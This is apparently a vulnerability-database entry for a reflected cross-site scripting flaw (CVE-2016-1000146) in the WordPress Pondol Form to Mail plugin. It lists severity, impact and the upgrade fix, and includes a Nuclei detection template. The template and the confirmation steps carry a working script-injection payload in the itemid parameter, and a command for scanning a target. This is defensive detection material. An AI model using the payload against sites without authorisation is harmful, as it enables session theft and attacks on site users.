WordPress Pondol Form to Mail <=1.1 - Cross-Site Scripting

mediumseverity

6.1CVSS score

3.5%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

WordPress Pondol Form to Mail 1.1 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Update to the latest version of the Pondol Form to Mail plugin (>=1.2) or apply a patch provided by the vendor to fix the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains "/wp-content/plugins/pondol-formmail/"
Send: GET {{BaseURL}}/wp-content/plugins/pondol-formmail/pages/admin-mail-info.php?itemid=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscri…
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2016-1000146 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2016-1000146

info:
  name: WordPress Pondol Form to Mail <=1.1 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Pondol Form to Mail 1.1 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update to the latest version of the Pondol Form to Mail plugin (>=1.2) or apply a patch provided by the vendor to fix the XSS vulnerability.
  reference:
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=787
    - https://wordpress.org/plugins/pondol-formmail
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000146
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000146
    cwe-id: CWE-79
    epss-score: 0.03462
    epss-percentile: 0.89148
    cpe: cpe:2.3:a:pondol-formmail_project:pondol-formmail:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "pondol-formmail_project"
    product: "pondol-formmail"
    framework: wordpress
  tags: cve2016,cve,wordpress,xss,wp-plugin,mail,pondol-formmail_project,vuln
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/pondol-formmail/'

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/pondol-formmail/pages/admin-mail-info.php?itemid=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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